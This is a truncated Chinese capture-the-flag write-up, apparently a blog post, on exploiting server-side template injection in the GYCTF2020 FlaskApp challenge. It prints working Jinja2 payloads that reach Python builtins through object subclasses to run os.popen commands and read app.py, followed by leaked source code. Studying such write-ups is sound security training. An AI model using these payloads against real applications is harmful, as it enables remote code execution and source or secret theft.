GYCTF2020 FlaskApp,老规矩,还是buu的平台
知识点
- flask的SSTI
- ssti的绕过(拼接字符串,倒序切片,内置对象、函数)
- pin码的生成
信息收集
因为题目名flask,所以先不进行常规信息收集,而是观察功能点,寻找易发生ssti的功能

提示里貌似没有什么信息,考虑到功能异常抛出常见于解密环节,所以随便输段不能解密的

直接报错抛出debug信息,看来是开启了debug模式
参见该文章:Flask开启debug模式等于给黑客留了后门
而且读到了app.py的部分代码
大致的逻辑就是获取text参数,进行解密,如果可以过waf则执行代码
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)

进一步尝试是否ssti,在加密界面对{
{6*6}}进行加密,结果为e3s2KjZ9fQ==,再在解密界面进行解密,疑似是有一定防御,那么换成{
{3+3}},成功返回

说明确实存在ssti,接下来就是具体怎么利用的过程了
预备知识
在jinja2中 控制结构 {% %} 变量取值 {
{ }}
函数和属性
__class__ 返回调用的参数类型
__bases__ 返回基类列表
__mro__ 此属性是在方法解析期间寻找基类时的参考类元组
__subclasses__() 返回子类的列表
__globals__ 以字典的形式返回函数所在的全局命名空间所定义的全局变量,与 func_globals 等价
__builtins__ 内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载,这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等等
具体利用
直接读flag
首先想办法把完整的app.py读出来,方便绕waf
参考Templates Injections的payload
方便阅读我把它换行了
{
% for x in ().__class__.__base__.__subclasses__() %}
{
% if "warning" in x.__name__ %}
{
{
x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}
{
%endif%}{
%endfor%}
修改成
{
% for c in [].__class__.__base__.__subclasses__() %}
{
% if c.__name__=='catch_warnings' %}
{
{
c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{
% endif %}{
% endfor %}
记得最后要改成一行
{
% for c in [].__class__.__base__.__subclasses__() %}{
% if c.__name__=='catch_warnings' %}{
{
c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{
% endif %}{
% endfor %}
然后加密解密
得到结果
from flask import Flask,render_template_string from flask import render_template,request,flash,redirect,url_for from flask_wtf import FlaskForm from wtforms import StringField, SubmitField from wtforms.validators import DataRequired from flask_bootstrap import Bootstrap import base64 app = Flask(__name__) app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y' bootstrap = Bootstrap(app) class NameForm(FlaskForm): text = StringField('BASE64加密',validators= [DataRequired()]) submit = SubmitField('提交') class NameForm1(FlaskForm): text = StringField('

这篇博客详细介绍了如何利用GYCTF2020 FlaskApp中的安全漏洞,特别是Server-Side Template Injection (SSTI)。作者通过信息收集发现开启了debug模式,从而能读取部分源代码。接着,作者演示了如何通过字符串拼接和倒序输出绕过WAF,读取到flag。此外,还解释了如何利用PIN码进行远程代码执行(RCE),涉及对系统信息的获取和计算。
最低0.47元/天 解锁文章
1595

被折叠的 条评论
为什么被折叠?



